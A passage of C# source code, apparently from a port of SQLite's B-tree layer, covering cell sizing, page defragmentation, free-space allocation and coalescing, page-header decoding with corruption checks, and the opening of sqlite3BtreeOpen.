function should always be the same as\n** the (CellInfo.nSize) value found by doing a full parse of the\n** cell. If SQLITE_DEBUG is defined, an Debug.Assert() at the bottom of\n** this function verifies that this invariant is not violated. */\n      CellInfo debuginfo = new CellInfo();\n      btreeParseCellPtr(pPage, pCell, ref debuginfo);\n#else\n      CellInfo debuginfo = new CellInfo();\n#endif\n\n      if (pPage.intKey != 0)\n      {\n        int pEnd;\n        if (pPage.hasData != 0)\n        {\n          _pIter += getVarint32(pCell, ref nSize);// pIter += getVarint32( pIter, ref nSize );\n        }\n        else\n        {\n          nSize = 0;\n        }\n\n        /* pIter now points at the 64-bit integer key value, a variable length\n        ** integer. The following block moves pIter to point at the first byte\n        ** past the end of the key value. */\n        pEnd = _pIter + 9;//pEnd = &pIter[9];\n        while (((pCell[_pIter++]) & 0x80) != 0 && _pIter < pEnd) ;//while( (pIter++)&0x80 && pIter<pEnd );\n      }\n      else\n      {\n        _pIter += getVarint32(pCell, _pIter, ref nSize); //pIter += getVarint32( pIter, ref nSize );\n      }\n\n      testcase(nSize == pPage.maxLocal);\n      testcase(nSize == pPage.maxLocal + 1);\n      if (nSize > pPage.maxLocal)\n      {\n        int minLocal = pPage.minLocal;\n        nSize = (u32)(minLocal + (nSize - minLocal) % (pPage.pBt.usableSize - 4));\n        testcase(nSize == pPage.maxLocal);\n        testcase(nSize == pPage.maxLocal + 1);\n        if (nSize > pPage.maxLocal)\n        {\n          nSize = (u32)minLocal;\n        }\n        nSize += 4;\n      }\n      nSize += (uint)_pIter;//nSize += (u32)(pIter - pCell);\n\n      /* The minimum size of any cell is 4 bytes. */\n      if (nSize < 4)\n      {\n        nSize = 4;\n      }\n\n      Debug.Assert(nSize == debuginfo.nSize);\n      return (u16)nSize;\n    }\n#if !NDEBUG || DEBUG\n    static u16 cellSize(MemPage pPage, int iCell)\n    {\n      return cellSizePtr(pPage, findCell(pPage, iCell));\n    }\n#else\nstatic int cellSize(MemPage pPage, int iCell) { return -1; }\n#endif\n\n#if !SQLITE_OMIT_AUTOVACUUM\n    /*\n** If the cell pCell, part of page pPage contains a pointer\n** to an overflow page, insert an entry into the pointer-map\n** for the overflow page.\n*/\n    static void ptrmapPutOvflPtr(MemPage pPage, int pCell, ref int pRC)\n    {\n      if (pRC != 0) return;\n      CellInfo info = new CellInfo();\n      Debug.Assert(pCell != 0);\n      btreeParseCellPtr( pPage, pCell, ref info );\n      Debug.Assert((info.nData + (pPage.intKey != 0 ? 0 : info.nKey)) == info.nPayload);\n      if (info.iOverflow != 0)\n      {\n        Pgno ovfl = sqlite3Get4byte(pPage.aData, pCell, info.iOverflow);\n        ptrmapPut(pPage.pBt, ovfl, PTRMAP_OVERFLOW1, pPage.pgno, ref pRC);\n      }\n    }\n\n    static void ptrmapPutOvflPtr(MemPage pPage, u8[] pCell, ref int pRC)\n    {\n      if (pRC != 0) return;\n      CellInfo info = new CellInfo();\n      Debug.Assert(pCell != null);\n      btreeParseCellPtr( pPage, pCell, ref info );\n      Debug.Assert((info.nData + (pPage.intKey != 0 ? 0 : info.nKey)) == info.nPayload);\n      if (info.iOverflow != 0)\n      {\n        Pgno ovfl = sqlite3Get4byte(pCell, info.iOverflow);\n        ptrmapPut(pPage.pBt, ovfl, PTRMAP_OVERFLOW1, pPage.pgno, ref pRC);\n      }\n    }\n#endif\n\n\n    /*\n** Defragment the page given.  All Cells are moved to the\n** end of the page and all free space is collected into one\n** big FreeBlk that occurs in between the header and cell\n** pointer array and the cell content area.\n*/\n    static int defragmentPage(MemPage pPage)\n    {\n      int i;                     /* Loop counter */\n      int pc;                    /* Address of a i-th cell */\n      int addr;                  /* Offset of first byte after cell pointer array */\n      int hdr;                   /* Offset to the page header */\n      int size;                  /* Size of a cell */\n      int usableSize;            /* Number of usable bytes on a page */\n      int cellOffset;            /* Offset to the cell pointer array */\n      int cbrk;                  /* Offset to the cell content area */\n      int nCell;                 /* Number of cells on the page */\n      byte[] data;               /* The page data */\n      byte[] temp;               /* Temp area for cell content */\n      int iCellFirst;            /* First allowable cell index */\n      int iCellLast;             /* Last possible cell index */\n\n\n      Debug.Assert(sqlite3PagerIswriteable(pPage.pDbPage));\n      Debug.Assert(pPage.pBt != null);\n      Debug.Assert(pPage.pBt.usableSize <= SQLITE_MAX_PAGE_SIZE);\n      Debug.Assert(pPage.nOverflow == 0);\n      Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex));\n      temp = sqlite3PagerTempSpace(pPage.pBt.pPager);\n      data = pPage.aData;\n      hdr = pPage.hdrOffset;\n      cellOffset = pPage.cellOffset;\n      nCell = pPage.nCell;\n      Debug.Assert(nCell == get2byte(data, hdr + 3));\n      usableSize = pPage.pBt.usableSize;\n      cbrk = get2byte(data, hdr + 5);\n      Buffer.BlockCopy(data, cbrk, temp, cbrk, usableSize - cbrk);//memcpy( temp[cbrk], ref data[cbrk], usableSize - cbrk );\n      cbrk = usableSize;\n      iCellFirst = cellOffset + 2 * nCell;\n      iCellLast = usableSize - 4;\n      for (i = 0; i < nCell; i++)\n      {\n        int pAddr;     /* The i-th cell pointer */\n        pAddr = cellOffset + i * 2; // &data[cellOffset + i * 2];\n        pc = get2byte(data, pAddr);\n        testcase(pc == iCellFirst);\n        testcase(pc == iCellLast);\n#if !(SQLITE_ENABLE_OVERSIZE_CELL_CHECK)\n/* These conditions have already been verified in btreeInitPage()\n** if SQLITE_ENABLE_OVERSIZE_CELL_CHECK is defined\n*/\nif( pc<iCellFirst || pc>iCellLast ){\n#if SQLITE_DEBUG || DEBUG\nreturn SQLITE_CORRUPT_BKPT();\n#else\nreturn SQLITE_CORRUPT_BKPT;\n#endif\n}\n#endif\n        Debug.Assert(pc >= iCellFirst && pc <= iCellLast);\n        size = cellSizePtr(pPage, temp, pc);\n        cbrk -= size;\n#if (SQLITE_ENABLE_OVERSIZE_CELL_CHECK)\n        if (cbrk < iCellFirst)\n        {\n#if SQLITE_DEBUG || DEBUG\n          return SQLITE_CORRUPT_BKPT();\n#else\nreturn SQLITE_CORRUPT_BKPT;\n#endif\n        }\n#else\nif( cbrk<iCellFirst || pc+size>usableSize ){\n#if SQLITE_DEBUG || DEBUG\nreturn SQLITE_CORRUPT_BKPT();\n#else\nreturn SQLITE_CORRUPT_BKPT;\n#endif\n}\n#endif\n        Debug.Assert(cbrk + size <= usableSize && cbrk >= iCellFirst);\n        testcase(cbrk + size == usableSize);\n        testcase(pc + size == usableSize);\n        Buffer.BlockCopy(temp, pc, data, cbrk, size);//memcpy(data[cbrk], ref temp[pc], size);\n        put2byte(data, pAddr, cbrk);\n      }\n      Debug.Assert(cbrk >= iCellFirst);\n      put2byte(data, hdr + 5, cbrk);\n      data[hdr + 1] = 0;\n      data[hdr + 2] = 0;\n      data[hdr + 7] = 0;\n      addr = cellOffset + 2 * nCell;\n      Array.Clear(data, addr, cbrk - addr);  //memset(data[iCellFirst], 0, cbrk-iCellFirst);\n      Debug.Assert(sqlite3PagerIswriteable(pPage.pDbPage));\n      if (cbrk - iCellFirst != pPage.nFree)\n      {\n#if SQLITE_DEBUG || DEBUG\n        return SQLITE_CORRUPT_BKPT();\n#else\nreturn SQLITE_CORRUPT_BKPT;\n#endif\n      }\n      return SQLITE_OK;\n    }\n\n    /*\n    ** Allocate nByte bytes of space from within the B-Tree page passed\n    ** as the first argument. Write into pIdx the index into pPage.aData[]\n    ** of the first byte of allocated space. Return either SQLITE_OK or\n    ** an error code (usually SQLITE_CORRUPT).\n    **\n    ** The caller guarantees that there is sufficient space to make the\n    ** allocation.  This routine might need to defragment in order to bring\n    ** all the space together, however.  This routine will avoid using\n    ** the first two bytes past the cell pointer area since presumably this\n    ** allocation is being made in order to insert a new cell, so we will\n    ** also end up needing a new cell pointer.\n    */\n    static int allocateSpace(MemPage pPage, int nByte, ref int pIdx)\n    {\n      int hdr = pPage.hdrOffset;  /* Local cache of pPage.hdrOffset */\n      u8[] data = pPage.aData;    /* Local cache of pPage.aData */\n      int nFrag;                  /* Number of fragmented bytes on pPage */\n      int top;                    /* First byte of cell content area */\n      int gap;                    /* First byte of gap between cell pointers and cell content */\n      int rc;                     /* Integer return code */\n\n      Debug.Assert(sqlite3PagerIswriteable(pPage.pDbPage));\n      Debug.Assert(pPage.pBt != null);\n      Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex));\n      Debug.Assert(nByte >= 0);  /* Minimum cell size is 4 */\n      Debug.Assert(pPage.nFree >= nByte);\n      Debug.Assert(pPage.nOverflow == 0);\n      Debug.Assert(nByte < pPage.pBt.usableSize - 8);\n\n      nFrag = data[hdr + 7];\n      Debug.Assert(pPage.cellOffset == hdr + 12 - 4 * pPage.leaf);\n      gap = pPage.cellOffset + 2 * pPage.nCell;\n      top = get2byte(data, hdr + 5);\n      if (gap > top)\n#if SQLITE_DEBUG || DEBUG\n        return SQLITE_CORRUPT_BKPT();\n#else\nreturn SQLITE_CORRUPT_BKPT;\n#endif\n      testcase(gap + 2 == top);\n      testcase(gap + 1 == top);\n      testcase(gap == top);\n\n      if (nFrag >= 60)\n      {\n        /* Always defragment highly fragmented pages */\n        rc = defragmentPage(pPage);\n        if (rc != 0) return rc;\n        top = get2byte(data, hdr + 5);\n      }\n      else if (gap + 2 <= top)\n      {\n        /* Search the freelist looking for a free slot big enough to satisfy\n        ** the request. The allocation is made from the first free slot in\n        ** the list that is large enough to accomadate it.\n        */\n        int pc, addr;\n        for (addr = hdr + 1; (pc = get2byte(data, addr)) > 0; addr = pc)\n        {\n          int size = get2byte(data, pc + 2);     /* Size of free slot */\n          if (size >= nByte)\n          {\n            int x = size - nByte;\n            testcase(x == 4);\n            testcase(x == 3);\n            if (x < 4)\n            {\n              /* Remove the slot from the free-list. Update the number of\n              ** fragmented bytes within the page. */\n              data[addr + 0] = data[pc + 0]; data[addr + 1] = data[pc + 1]; //memcpy( data[addr], ref data[pc], 2 );\n              data[hdr + 7] = (u8)(nFrag + x);\n            }\n            else\n            {\n              /* The slot remains on the free-list. Reduce its size to account\n              ** for the portion used by the new allocation. */\n              put2byte(data, pc + 2, x);\n            }\n            pIdx = pc + x;\n            return SQLITE_OK;\n          }\n        }\n      }\n\n      /* Check to make sure there is enough space in the gap to satisfy\n      ** the allocation.  If not, defragment.\n      */\n      testcase(gap + 2 + nByte == top);\n      if (gap + 2 + nByte > top)\n      {\n        rc = defragmentPage(pPage);\n        if (rc != 0) return rc;\n        top = get2byte(data, hdr + 5);\n        Debug.Assert(gap + nByte <= top);\n      }\n\n\n      /* Allocate memory from the gap in between the cell pointer array\n      ** and the cell content area.  The btreeInitPage() call has already\n      ** validated the freelist.  Given that the freelist is valid, there\n      ** is no way that the allocation can extend off the end of the page.\n      ** The Debug.Assert() below verifies the previous sentence.\n      */\n      top -= nByte;\n      put2byte(data, hdr + 5, top);\n      Debug.Assert(top + nByte <= pPage.pBt.usableSize);\n      pIdx = top;\n      return SQLITE_OK;\n    }\n\n    /*\n    ** Return a section of the pPage.aData to the freelist.\n    ** The first byte of the new free block is pPage.aDisk[start]\n    ** and the size of the block is \"size\" bytes.\n    **\n    ** Most of the effort here is involved in coalesing adjacent\n    ** free blocks into a single big free block.\n    */\n    static int freeSpace(MemPage pPage, int start, int size)\n    {\n      int addr, pbegin, hdr;\n      int iLast;                        /* Largest possible freeblock offset */\n      byte[] data = pPage.aData;\n\n      Debug.Assert(pPage.pBt != null);\n      Debug.Assert(sqlite3PagerIswriteable(pPage.pDbPage));\n      Debug.Assert(start >= pPage.hdrOffset + 6 + pPage.childPtrSize);\n      Debug.Assert((start + size) <= pPage.pBt.usableSize);\n      Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex));\n      Debug.Assert(size >= 0);   /* Minimum cell size is 4 */\n\n#if SQLITE_SECURE_DELETE\n/* Overwrite deleted information with zeros when the SECURE_DELETE\n** option is enabled at compile-time */\nmemset(data[start], 0, size);\n#endif\n\n      /* Add the space back into the linked list of freeblocks.  Note that\n** even though the freeblock list was checked by btreeInitPage(),\n** btreeInitPage() did not detect overlapping cells or\n** freeblocks that overlapped cells.   Nor does it detect when the\n** cell content area exceeds the value in the page header.  If these\n** situations arise, then subsequent insert operations might corrupt\n** the freelist.  So we do need to check for corruption while scanning\n** the freelist.\n*/\n      hdr = pPage.hdrOffset;\n      addr = hdr + 1;\n      iLast = pPage.pBt.usableSize - 4;\n      Debug.Assert(start <= iLast);\n      while ((pbegin = get2byte(data, addr)) < start && pbegin > 0)\n      {\n        if (pbegin < addr + 4)\n        {\n#if SQLITE_DEBUG || DEBUG\n          return SQLITE_CORRUPT_BKPT();\n#else\nreturn SQLITE_CORRUPT_BKPT;\n#endif\n        }\n        addr = pbegin;\n      }\n      if (pbegin > iLast)\n      {\n#if SQLITE_DEBUG || DEBUG\n        return SQLITE_CORRUPT_BKPT();\n#else\nreturn SQLITE_CORRUPT_BKPT;\n#endif\n      }\n      Debug.Assert(pbegin > addr || pbegin == 0);\n      put2byte(data, addr, start);\n      put2byte(data, start, pbegin);\n      put2byte(data, start + 2, size);\n      pPage.nFree = (u16)(pPage.nFree + size);\n\n      /* Coalesce adjacent free blocks */\n      addr = hdr + 1;\n      while ((pbegin = get2byte(data, addr)) > 0)\n      {\n        int pnext, psize, x;\n        Debug.Assert(pbegin > addr);\n        Debug.Assert(pbegin <= pPage.pBt.usableSize - 4);\n        pnext = get2byte(data, pbegin);\n        psize = get2byte(data, pbegin + 2);\n        if (pbegin + psize + 3 >= pnext && pnext > 0)\n        {\n          int frag = pnext - (pbegin + psize);\n          if ((frag < 0) || (frag > (int)data[hdr + 7]))\n          {\n#if SQLITE_DEBUG || DEBUG\n            return SQLITE_CORRUPT_BKPT();\n#else\nreturn SQLITE_CORRUPT_BKPT;\n#endif\n          }\n          data[hdr + 7] -= (u8)frag;\n          x = get2byte(data, pnext);\n          put2byte(data, pbegin, x);\n          x = pnext + get2byte(data, pnext + 2) - pbegin;\n          put2byte(data, pbegin + 2, x);\n        }\n        else\n        {\n          addr = pbegin;\n        }\n      }\n\n      /* If the cell content area begins with a freeblock, remove it. */\n      if (data[hdr + 1] == data[hdr + 5] && data[hdr + 2] == data[hdr + 6])\n      {\n        int top;\n        pbegin = get2byte(data, hdr + 1);\n        put2byte(data, hdr + 1, get2byte(data, pbegin)); //memcpy( data[hdr + 1], ref data[pbegin], 2 );\n        top = get2byte(data, hdr + 5) + get2byte(data, pbegin + 2);\n        put2byte(data, hdr + 5, top);\n      }\n      Debug.Assert(sqlite3PagerIswriteable(pPage.pDbPage));\n      return SQLITE_OK;\n    }\n\n    /*\n    ** Decode the flags byte (the first byte of the header) for a page\n    ** and initialize fields of the MemPage structure accordingly.\n    **\n    ** Only the following combinations are supported.  Anything different\n    ** indicates a corrupt database files:\n    **\n    **         PTF_ZERODATA\n    **         PTF_ZERODATA | PTF_LEAF\n    **         PTF_LEAFDATA | PTF_INTKEY\n    **         PTF_LEAFDATA | PTF_INTKEY | PTF_LEAF\n    */\n    static int decodeFlags(MemPage pPage, int flagByte)\n    {\n      BtShared pBt;     /* A copy of pPage.pBt */\n\n      Debug.Assert(pPage.hdrOffset == (pPage.pgno == 1 ? 100 : 0));\n      Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex));\n      pPage.leaf = (u8)(flagByte >> 3); Debug.Assert(PTF_LEAF == 1 << 3);\n      flagByte &= ~PTF_LEAF;\n      pPage.childPtrSize = (u8)(4 - 4 * pPage.leaf);\n      pBt = pPage.pBt;\n      if (flagByte == (PTF_LEAFDATA | PTF_INTKEY))\n      {\n        pPage.intKey = 1;\n        pPage.hasData = pPage.leaf;\n        pPage.maxLocal = pBt.maxLeaf;\n        pPage.minLocal = pBt.minLeaf;\n      }\n      else if (flagByte == PTF_ZERODATA)\n      {\n        pPage.intKey = 0;\n        pPage.hasData = 0;\n        pPage.maxLocal = pBt.maxLocal;\n        pPage.minLocal = pBt.minLocal;\n      }\n      else\n      {\n#if SQLITE_DEBUG || DEBUG\n        return SQLITE_CORRUPT_BKPT();\n#else\nreturn SQLITE_CORRUPT_BKPT;\n#endif\n      }\n      return SQLITE_OK;\n    }\n\n    /*\n    ** Initialize the auxiliary information for a disk block.\n    **\n    ** Return SQLITE_OK on success.  If we see that the page does\n    ** not contain a well-formed database page, then return\n    ** SQLITE_CORRUPT.  Note that a return of SQLITE_OK does not\n    ** guarantee that the page is well-formed.  It only shows that\n    ** we failed to detect any corruption.\n    */\n    static int btreeInitPage(MemPage pPage)\n    {\n\n      Debug.Assert(pPage.pBt != null);\n      Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex));\n      Debug.Assert(pPage.pgno == sqlite3PagerPagenumber(pPage.pDbPage));\n      Debug.Assert(pPage == sqlite3PagerGetExtra(pPage.pDbPage));\n      Debug.Assert(pPage.aData == sqlite3PagerGetData(pPage.pDbPage));\n\n      if (0 == pPage.isInit)\n      {\n        u16 pc;            /* Address of a freeblock within pPage.aData[] */\n        u8 hdr;            /* Offset to beginning of page header */\n        u8[] data;         /* Equal to pPage.aData */\n        BtShared pBt;      /* The main btree structure */\n        u16 usableSize;    /* Amount of usable space on each page */\n        u16 cellOffset;    /* Offset from start of page to first cell pointer */\n        u16 nFree;         /* Number of unused bytes on the page */\n        u16 top;           /* First byte of the cell content area */\n        int iCellFirst;    /* First allowable cell or freeblock offset */\n        int iCellLast;     /* Last possible cell or freeblock offset */\n\n        pBt = pPage.pBt;\n\n        hdr = pPage.hdrOffset;\n        data = pPage.aData;\n        if (decodeFlags(pPage, data[hdr]) != 0)\n#if SQLITE_DEBUG || DEBUG\n          return SQLITE_CORRUPT_BKPT();\n#else\nreturn SQLITE_CORRUPT_BKPT;\n#endif\n        Debug.Assert(pBt.pageSize >= 512 && pBt.pageSize <= 32768);\n        pPage.maskPage = (u16)(pBt.pageSize - 1);\n        pPage.nOverflow = 0;\n        usableSize = pBt.usableSize;\n        pPage.cellOffset = (cellOffset = (u16)(hdr + 12 - 4 * pPage.leaf));\n        top = (u16)get2byte(data, hdr + 5);\n        pPage.nCell = (u16)(get2byte(data, hdr + 3));\n        if (pPage.nCell > MX_CELL(pBt))\n        {\n          /* To many cells for a single page.  The page must be corrupt */\n#if SQLITE_DEBUG || DEBUG\n          return SQLITE_CORRUPT_BKPT();\n#else\nreturn SQLITE_CORRUPT_BKPT;\n#endif\n        }\n        testcase(pPage.nCell == MX_CELL(pBt));\n\n        /* A malformed database page might cause us to read past the end\n        ** of page when parsing a cell.\n        **\n        ** The following block of code checks early to see if a cell extends\n        ** past the end of a page boundary and causes SQLITE_CORRUPT to be\n        ** returned if it does.\n        */\n        iCellFirst = cellOffset + 2 * pPage.nCell;\n        iCellLast = usableSize - 4;\n#if (SQLITE_ENABLE_OVERSIZE_CELL_CHECK)\n        {\n          int i;            /* Index into the cell pointer array */\n          int sz;           /* Size of a cell */\n\n          if (0 == pPage.leaf) iCellLast--;\n          for (i = 0; i < pPage.nCell; i++)\n          {\n            pc = (u16)get2byte(data, cellOffset + i * 2);\n            testcase(pc == iCellFirst);\n            testcase(pc == iCellLast);\n            if (pc < iCellFirst || pc > iCellLast)\n            {\n#if SQLITE_DEBUG || DEBUG\n              return SQLITE_CORRUPT_BKPT();\n#else\nreturn SQLITE_CORRUPT_BKPT;\n#endif\n            }\n            sz = cellSizePtr(pPage, data, pc);\n            testcase(pc + sz == usableSize);\n            if (pc + sz > usableSize)\n            {\n#if SQLITE_DEBUG || DEBUG\n              return SQLITE_CORRUPT_BKPT();\n#else\nreturn SQLITE_CORRUPT_BKPT;\n#endif\n            }\n          }\n          if (0 == pPage.leaf) iCellLast++;\n        }\n#endif\n\n        /* Compute the total free space on the page */\n        pc = (u16)get2byte(data, hdr + 1);\n        nFree = (u16)(data[hdr + 7] + top);\n        while (pc > 0)\n        {\n          u16 next, size;\n          if (pc < iCellFirst || pc > iCellLast)\n          {\n            /* Free block is off the page */\n#if SQLITE_DEBUG || DEBUG\n            return SQLITE_CORRUPT_BKPT();\n#else\nreturn SQLITE_CORRUPT_BKPT;\n#endif\n          }\n          next = (u16)get2byte(data, pc);\n          size = (u16)get2byte(data, pc + 2);\n          if (next > 0 && next <= pc + size + 3)\n          {\n            /* Free blocks must be in ascending order */\n#if SQLITE_DEBUG || DEBUG\n            return SQLITE_CORRUPT_BKPT();\n#else\nreturn SQLITE_CORRUPT_BKPT;\n#endif\n          }\n          nFree = (u16)(nFree + size);\n          pc = next;\n        }\n\n        /* At this point, nFree contains the sum of the offset to the start\n        ** of the cell-content area plus the number of free bytes within\n        ** the cell-content area. If this is greater than the usable-size\n        ** of the page, then the page must be corrupted. This check also\n        ** serves to verify that the offset to the start of the cell-content\n        ** area, according to the page header, lies within the page.\n        */\n        if (nFree > usableSize)\n        {\n#if SQLITE_DEBUG || DEBUG\n          return SQLITE_CORRUPT_BKPT();\n#else\nreturn SQLITE_CORRUPT_BKPT;\n#endif\n        }\n        pPage.nFree = (u16)(nFree - iCellFirst);\n        pPage.isInit = 1;\n      }\n      return SQLITE_OK;\n    }\n\n    /*\n    ** Set up a raw page so that it looks like a database page holding\n    ** no entries.\n    */\n    static void zeroPage(MemPage pPage, int flags)\n    {\n      byte[] data = pPage.aData;\n      BtShared pBt = pPage.pBt;\n      u8 hdr = pPage.hdrOffset;\n      u16 first;\n\n      Debug.Assert(sqlite3PagerPagenumber(pPage.pDbPage) == pPage.pgno);\n      Debug.Assert(sqlite3PagerGetExtra(pPage.pDbPage) == pPage);\n      Debug.Assert(sqlite3PagerGetData(pPage.pDbPage) == data);\n      Debug.Assert(sqlite3PagerIswriteable(pPage.pDbPage));\n      Debug.Assert(sqlite3_mutex_held(pBt.mutex));\n      /*memset(data[hdr], 0, pBt.usableSize - hdr);*/\n      data[hdr] = (u8)flags;\n      first = (u16)(hdr + 8 + 4 * ((flags & PTF_LEAF) == 0 ? 1 : 0));\n      Array.Clear(data, hdr + 1, 4);//memset(data[hdr+1], 0, 4);\n      data[hdr + 7] = 0;\n      put2byte(data, hdr + 5, pBt.usableSize);\n      pPage.nFree = (u16)(pBt.usableSize - first);\n      decodeFlags(pPage, flags);\n      pPage.hdrOffset = hdr;\n      pPage.cellOffset = first;\n      pPage.nOverflow = 0;\n      Debug.Assert(pBt.pageSize >= 512 && pBt.pageSize <= 32768);\n      pPage.maskPage = (u16)(pBt.pageSize - 1);\n      pPage.nCell = 0;\n      pPage.isInit = 1;\n    }\n\n\n    /*\n    ** Convert a DbPage obtained from the pager into a MemPage used by\n    ** the btree layer.\n    */\n    static MemPage btreePageFromDbPage(DbPage pDbPage, Pgno pgno, BtShared pBt)\n    {\n      MemPage pPage = (MemPage)sqlite3PagerGetExtra(pDbPage);\n      pPage.aData = sqlite3PagerGetData(pDbPage);\n      pPage.pDbPage = pDbPage;\n      pPage.pBt = pBt;\n      pPage.pgno = pgno;\n      pPage.hdrOffset = (u8)(pPage.pgno == 1 ? 100 : 0);\n      return pPage;\n    }\n\n    /*\n    ** Get a page from the pager.  Initialize the MemPage.pBt and\n    ** MemPage.aData elements if needed.\n    **\n    ** If the noContent flag is set, it means that we do not care about\n    ** the content of the page at this time.  So do not go to the disk\n    ** to fetch the content.  Just fill in the content with zeros for now.\n    ** If in the future we call sqlite3PagerWrite() on this page, that\n    ** means we have started to be concerned about content and the disk\n    ** read should occur at that point.\n    */\n    static int btreeGetPage(\n    BtShared pBt,        /* The btree */\n    Pgno pgno,           /* Number of the page to fetch */\n    ref MemPage ppPage,  /* Return the page in this parameter */\n    int noContent        /* Do not load page content if true */\n    )\n    {\n      int rc;\n      DbPage pDbPage = new PgHdr();\n\n      Debug.Assert(sqlite3_mutex_held(pBt.mutex));\n      rc = sqlite3PagerAcquire(pBt.pPager, pgno, ref pDbPage, (u8)noContent);\n      if (rc != 0) return rc;\n      ppPage = btreePageFromDbPage(pDbPage, pgno, pBt);\n      return SQLITE_OK;\n    }\n\n    /*\n    ** Retrieve a page from the pager cache. If the requested page is not\n    ** already in the pager cache return NULL. Initialize the MemPage.pBt and\n    ** MemPage.aData elements if needed.\n    */\n    static MemPage btreePageLookup(BtShared pBt, Pgno pgno)\n    {\n      DbPage pDbPage;\n      Debug.Assert(sqlite3_mutex_held(pBt.mutex));\n      pDbPage = sqlite3PagerLookup(pBt.pPager, pgno);\n      if (pDbPage)\n      {\n        return btreePageFromDbPage(pDbPage, pgno, pBt);\n      }\n      return null;\n    }\n\n    /*\n    ** Return the size of the database file in pages. If there is any kind of\n    ** error, return ((unsigned int)-1).\n    */\n    static Pgno pagerPagecount(BtShared pBt)\n    {\n      int nPage = -1;\n      int rc;\n      Debug.Assert(pBt.pPage1 != null);\n      rc = sqlite3PagerPagecount(pBt.pPager, ref nPage);\n      Debug.Assert(rc == SQLITE_OK || nPage == -1);\n      return (Pgno)nPage;\n    }\n\n    /*\n    ** Get a page from the pager and initialize it.  This routine is just a\n    ** convenience wrapper around separate calls to btreeGetPage() and\n    ** btreeInitPage().\n    **\n    ** If an error occurs, then the value ppPage is set to is undefined. It\n    ** may remain unchanged, or it may be set to an invalid value.\n    */\n    static int getAndInitPage(\n    BtShared pBt,          /* The database file */\n    Pgno pgno,             /* Number of the page to get */\n    ref MemPage ppPage     /* Write the page pointer here */\n    )\n    {\n      int rc;\n#if !NDEBUG || SQLITE_COVERAGE_TEST\n      Pgno iLastPg = pagerPagecount(pBt);//  TESTONLY( Pgno iLastPg = pagerPagecount(pBt); )\n#else\nconst Pgno iLastPg = Pgno.MaxValue;\n#endif\n      Debug.Assert(sqlite3_mutex_held(pBt.mutex));\n\n      rc = btreeGetPage(pBt, pgno, ref ppPage, 0);\n      if (rc == SQLITE_OK)\n      {\n        rc = btreeInitPage(ppPage);\n        if (rc != SQLITE_OK)\n        {\n          releasePage(ppPage);\n        }\n      }\n\n      /* If the requested page number was either 0 or greater than the page\n      ** number of the last page in the database, this function should return\n      ** SQLITE_CORRUPT or some other error (i.e. SQLITE_FULL). Check that this\n      ** is the case.  */\n      Debug.Assert((pgno > 0 && pgno <= iLastPg) || rc != SQLITE_OK);\n      testcase(pgno == 0);\n      testcase(pgno == iLastPg);\n\n      return rc;\n    }\n\n    /*\n    ** Release a MemPage.  This should be called once for each prior\n    ** call to btreeGetPage.\n    */\n    static void releasePage(MemPage pPage)\n    {\n      if (pPage != null)\n      {\n        Debug.Assert(pPage.nOverflow == 0 || sqlite3PagerPageRefcount(pPage.pDbPage) > 1);\n        Debug.Assert(pPage.aData != null);\n        Debug.Assert(pPage.pBt != null);\n        Debug.Assert(sqlite3PagerGetExtra(pPage.pDbPage) == pPage);\n        Debug.Assert(sqlite3PagerGetData(pPage.pDbPage) == pPage.aData);\n        Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex));\n        sqlite3PagerUnref(pPage.pDbPage);\n      }\n    }\n\n    /*\n    ** During a rollback, when the pager reloads information into the cache\n    ** so that the cache is restored to its original state at the start of\n    ** the transaction, for each page restored this routine is called.\n    **\n    ** This routine needs to reset the extra data section at the end of the\n    ** page to agree with the restored data.\n    */\n    static void pageReinit(DbPage pData)\n    {\n      MemPage pPage;\n      pPage = sqlite3PagerGetExtra(pData);\n      Debug.Assert(sqlite3PagerPageRefcount(pData) > 0);\n      if (pPage.isInit != 0)\n      {\n        Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex));\n        pPage.isInit = 0;\n        if (sqlite3PagerPageRefcount(pData) > 1)\n        {\n          /* pPage might not be a btree page;  it might be an overflow page\n          ** or ptrmap page or a free page.  In those cases, the following\n          ** call to btreeInitPage() will likely return SQLITE_CORRUPT.\n          ** But no harm is done by this.  And it is very important that\n          ** btreeInitPage() be called on every btree page so we make\n          ** the call for every page that comes in for re-initing. */\n          btreeInitPage(pPage);\n        }\n      }\n    }\n\n    /*\n    ** Invoke the busy handler for a btree.\n    */\n    static int btreeInvokeBusyHandler(object pArg)\n    {\n      BtShared pBt = (BtShared)pArg;\n      Debug.Assert(pBt.db != null);\n      Debug.Assert(sqlite3_mutex_held(pBt.db.mutex));\n      return sqlite3InvokeBusyHandler(pBt.db.busyHandler);\n    }\n\n    /*\n    ** Open a database file.\n    **\n    ** zFilename is the name of the database file.  If zFilename is NULL\n    ** a new database with a random name is created.  This randomly named\n    ** database file will be deleted when sqlite3BtreeClose() is called.\n    ** If zFilename is \":memory:\" then an in-memory database is created\n    ** that is automatically destroyed when it is closed.\n    **\n    ** If the database is already opened in the same database connection\n    ** and we are in shared cache mode, then the open will fail with an\n    ** SQLITE_CONSTRAINT error.  We cannot allow two or more BtShared\n    ** objects in the same database connection since doing so will lead\n    ** to problems with locking.\n    */\n    static int sqlite3BtreeOpen(\n    string zFilename,       /* Name of the file containing the BTree database */\n    sqlite3 db,             /* Associated database handle */\n    ref Btree ppBtree,      /* Pointer to new Btree object written here */\n    int flags,              /* Options */\n    int vfsFlags            /* Flags passed through to sqlite3_vfs.xOpen() */\n    )\n    {\n      sqlite3_vfs pVfs;             /* The VFS to use for this btree */\n      BtShared pBt = null;          /* Shared part of btree structure */\n      Btree p;                      /* Handle to return */\n      sqlite3_mutex mutexOpen = null;  /* Prevents a race condition. Ticket #3537 */\n      int rc = SQLITE_OK;            /* Result code from this function */\n      u8 nReserve;                   /* Byte of unused space on each page */\n      byte[] zDbHeader = new byte[100]; /* Database header content */\n\n      /* Set the variable isMemdb to true for an in-memory database, or\n      ** false for a file-based database. This symbol is only required if\n      ** either of the shared-data or autovacuum features are compiled\n      ** into the library.\n      */\n#if !(SQLITE_OMIT_SHARED_CACHE) || !(SQLITE_OMIT_AUTOVACUUM)\n#if SQLITE_OMIT_MEMORYDB\nbool isMemdb = false;\n#else\n      bool isMemdb = zFilename == \":memory:\";\n#endif\n#endif\n\n      Debug.Assert(db != null);\n      Debug.Assert(sqlite3_mutex_held(db.mutex));\n\n      